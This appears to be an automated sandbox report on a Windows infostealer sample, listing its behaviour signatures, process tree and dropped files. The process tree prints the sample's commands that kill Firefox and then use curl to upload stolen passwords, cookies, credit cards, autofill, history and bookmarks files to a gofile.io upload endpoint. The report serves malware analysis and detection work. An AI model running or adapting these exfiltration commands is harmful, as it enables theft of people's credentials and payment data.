Analysis

  • max time kernel
    149s
  • max time network
    134s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21/11/2025, 10:26

General

  • Target
    52e7ef3963a9ba8075a9142b5016da513fc3c0d35b684a3a29d4a6cce2fdb8f4.exe
  • Size 17.4MB
  • Sample251121-mgrt5ayjfl
  • SHA256 52e7ef3963a9ba8075a9142b5016da513fc3c0d35b684a3a29d4a6cce2fdb8f4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Loads dropped DLL 27 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Kills process with taskkill 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\52e7ef3963a9ba8075a9142b5016da513fc3c0d35b684a3a29d4a6cce2fdb8f4.exe
    "C:\Users\Admin\AppData\Local\Temp\52e7ef3963a9ba8075a9142b5016da513fc3c0d35b684a3a29d4a6cce2fdb8f4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Users\Admin\AppData\Local\Temp\52e7ef3963a9ba8075a9142b5016da513fc3c0d35b684a3a29d4a6cce2fdb8f4.exe
      "C:\Users\Admin\AppData\Local\Temp\52e7ef3963a9ba8075a9142b5016da513fc3c0d35b684a3a29d4a6cce2fdb8f4.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:6132
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2160
        • C:\Windows\system32\taskkill.exe
          taskkill /im firefox.exe /t /f
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3164
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4664
        • C:\Windows\system32\curl.exe
          curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile
          4⤵
            PID:5180
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:6544
          • C:\Windows\system32\curl.exe
            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile
            4⤵
              PID:6604
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:6632
            • C:\Windows\system32\curl.exe
              curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile
              4⤵
                PID:6692
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:6720
              • C:\Windows\system32\curl.exe
                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile
                4⤵
                  PID:6780
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:6804
                • C:\Windows\system32\curl.exe
                  curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile
                  4⤵
                    PID:6864
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:6888
                  • C:\Windows\system32\curl.exe
                    curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile
                    4⤵
                      PID:6948
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:6976
                    • C:\Windows\system32\curl.exe
                      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile
                      4⤵
                        PID:7036

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      _raw_aes.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Cipher\_raw_aes.pyd
                      • Size 34KB
                      • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
                      • MD5 SHA1 SHA512 SSDEEP

                      _raw_aesni.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Cipher\_raw_aesni.pyd
                      • Size 15KB
                      • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
                      • MD5 SHA1 SHA512 SSDEEP

                      _cpuid_c.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Util\_cpuid_c.pyd
                      • Size 10KB
                      • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
                      • MD5 SHA1 SHA512 SSDEEP

                      VCRUNTIME140.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\VCRUNTIME140.dll
                      • Size 117KB
                      • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                      • MD5 SHA1 SHA512 SSDEEP

                      VCRUNTIME140_1.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\VCRUNTIME140_1.dll
                      • Size 48KB
                      • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
                      • MD5 SHA1 SHA512 SSDEEP

                      _asyncio.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_asyncio.pyd
                      • Size 76KB
                      • SHA256 bdd004633904171c4d00b84deb69707667b676156840d7869a38edb7ba52d25b
                      • MD5 SHA1 SHA512 SSDEEP

                      _bz2.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_bz2.pyd
                      • Size 85KB
                      • SHA256 f0643f805a011efc704df472bb431ba231e6ae31fb7ba71328df1b6f1a9e1aa2
                      • MD5 SHA1 SHA512 SSDEEP

                      _cffi_backend.cp314-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_cffi_backend.cp314-win_amd64.pyd
                      • Size 177KB
                      • SHA256 58bbe1eb15f9ab8e9ea45715a8311e2366b360d910a4685448bdd728d5177a01
                      • MD5 SHA1 SHA512 SSDEEP

                      _ctypes.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_ctypes.pyd
                      • Size 138KB
                      • SHA256 f761aad10818806531aa431143b30f0d90a0a402b60f6f1c6e406fcc08f4e6b8
                      • MD5 SHA1 SHA512 SSDEEP

                      _decimal.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_decimal.pyd
                      • Size 280KB
                      • SHA256 a33b1562acc8201411971f54444bd9c648f2d194d9914f0eb734904882213828
                      • MD5 SHA1 SHA512 SSDEEP

                      _hashlib.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_hashlib.pyd
                      • Size 67KB
                      • SHA256 052f824d5e3a046aa401efef86307c0c7746a0d8ff85c855d4225d6fe565bb07
                      • MD5 SHA1 SHA512 SSDEEP

                      _lzma.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_lzma.pyd
                      • Size 157KB
                      • SHA256 3a0c632ba1b9bef724e87e42011942ba90b0dee1b47bcd563728899e95dcb723
                      • MD5 SHA1 SHA512 SSDEEP

                      _multiprocessing.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_multiprocessing.pyd
                      • Size 37KB
                      • SHA256 a8fd9f42314077d35060055f946176ad5753e6bdee9ac175c675d5be8796ea24
                      • MD5 SHA1 SHA512 SSDEEP

                      _overlapped.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_overlapped.pyd
                      • Size 56KB
                      • SHA256 d08ccd8aa330d52f7793995194f79465a47cc6aab9dcbac017a72cd3c96398f8
                      • MD5 SHA1 SHA512 SSDEEP

                      _queue.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_queue.pyd
                      • Size 35KB
                      • SHA256 4fd91087253a1507a5e5068eb366e77826efc27a568707ed4796d638df1fcf1a
                      • MD5 SHA1 SHA512 SSDEEP

                      _socket.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_socket.pyd
                      • Size 85KB
                      • SHA256 6a016011e78e2476eb19dbe7330b373b9e2c66ff6c0be9bd64ff008ee53647ef
                      • MD5 SHA1 SHA512 SSDEEP

                      _sqlite3.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_sqlite3.pyd
                      • Size 129KB
                      • SHA256 23370d813030202ae481b114fa042ddff6edd31cdaa6bba4616718ecf0628ff4
                      • MD5 SHA1 SHA512 SSDEEP

                      _ssl.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_ssl.pyd
                      • Size 179KB
                      • SHA256 1edd9575243ae8322f6a21e9eecc933701c5820f05e7b0ebc0b51cb80592da77
                      • MD5 SHA1 SHA512 SSDEEP

                      _uuid.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_uuid.pyd
                      • Size 27KB
                      • SHA256 2f141001cc496ff2f462e5247276d16a4f92ff741c75c81ed4e12e16ad859b10
                      • MD5 SHA1 SHA512 SSDEEP

                      _wmi.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_wmi.pyd
                      • Size 39KB
                      • SHA256 2aec82cd41bfc201fd04143023c7493f117436041f66120ddcd4a24b131ca9db
                      • MD5 SHA1 SHA512 SSDEEP

                      _zstd.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_zstd.pyd
                      • Size 491KB
                      • SHA256 74f64a5d724cad1c10ca9ba579b6af198178406b0a4f061685326e79cffa3eea
                      • MD5 SHA1 SHA512 SSDEEP

                      base_library.zip

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\base_library.zip
                      • Size 1.3MB
                      • SHA256 d1c30a85ba2eff69bf3cd70522d5dbc9242ff4c206970db8d3c8d7e08f5d1db1
                      • MD5 SHA1 SHA512 SSDEEP

                      cacert.pem

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\certifi\cacert.pem
                      • Size 284KB
                      • SHA256 2089fc5a25836401faee99f722460b01b393999746a0fb817943666d6ecc0458
                      • MD5 SHA1 SHA512 SSDEEP

                      md.cp314-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\charset_normalizer\md.cp314-win_amd64.pyd
                      • Size 10KB
                      • SHA256 084309ccfe0cc72d881d57aa8520da89c9e69ea219bfe80de2036b16d977d03a
                      • MD5 SHA1 SHA512 SSDEEP

                      md__mypyc.cp314-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\charset_normalizer\md__mypyc.cp314-win_amd64.pyd
                      • Size 122KB
                      • SHA256 4a1e2cfe2647f5564ab0040f4d899b1dbb1edaa6bc98b85341230e5f8aa160c0
                      • MD5 SHA1 SHA512 SSDEEP

                      libcrypto-3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\libcrypto-3.dll
                      • Size 5.0MB
                      • SHA256 e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a
                      • MD5 SHA1 SHA512 SSDEEP

                      libffi-8.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\libffi-8.dll
                      • Size 38KB
                      • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                      • MD5 SHA1 SHA512 SSDEEP

                      libssl-3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\libssl-3.dll
                      • Size 776KB
                      • SHA256 1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f
                      • MD5 SHA1 SHA512 SSDEEP

                      pyexpat.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\pyexpat.pyd
                      • Size 211KB
                      • SHA256 489ec5678cf44e878ce72a84a9149d67dbe926bdcf8d337ee8fd06b04b3f994b
                      • MD5 SHA1 SHA512 SSDEEP

                      python3.DLL

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\python3.DLL
                      • Size 72KB
                      • SHA256 27972cedfa8ca9f6835a2cbbff95336b15773a05b10067e3b084409095341068
                      • MD5 SHA1 SHA512 SSDEEP

                      python314.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\python314.dll
                      • Size 6.4MB
                      • SHA256 f1722bd369d79fecbc85f3ed2790c30c330b9413fd74332f95b086e60dfacc2a
                      • MD5 SHA1 SHA512 SSDEEP

                      select.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\select.pyd
                      • Size 32KB
                      • SHA256 5c4103eef14aebd195425d42196895ffb87bf6a25ab4651242bebf0a6b25cf1d
                      • MD5 SHA1 SHA512 SSDEEP

                      Lorem ipsum.txt

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                      • Size 1KB
                      • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                      • MD5 SHA1 SHA512

                      sqlite3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\sqlite3.dll
                      • Size 1.5MB
                      • SHA256 bb00c81138ad27581bee5f37aa0a225e22baee0ef67ad92f5726081c7140bfc9
                      • MD5 SHA1 SHA512 SSDEEP

                      unicodedata.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\unicodedata.pyd
                      • Size 740KB
                      • SHA256 552317719cb70d92b73d9cd0d54c314ebab2f4dd1c468221e49c3190f24a4e7e
                      • MD5 SHA1 SHA512 SSDEEP

                      muckcookies.txt

                      • Path C:\Users\Admin\AppData\Local\Temp\muckcookies.txt
                      • Size 119B
                      • SHA256 fa2d798bf580a38c3a4ee7a215dafba8582bb0df8fe673dc2c2e0023b960bb8e
                      • MD5 SHA1 SHA512

                      muckparsedcookies.txt

                      • Path C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt
                      • Size 113B
                      • SHA256 2805cfd5542ccafc9e5dd1bdbe5cb44e142052d2c32adc4aab9e672460cc5e6e
                      • MD5 SHA1 SHA512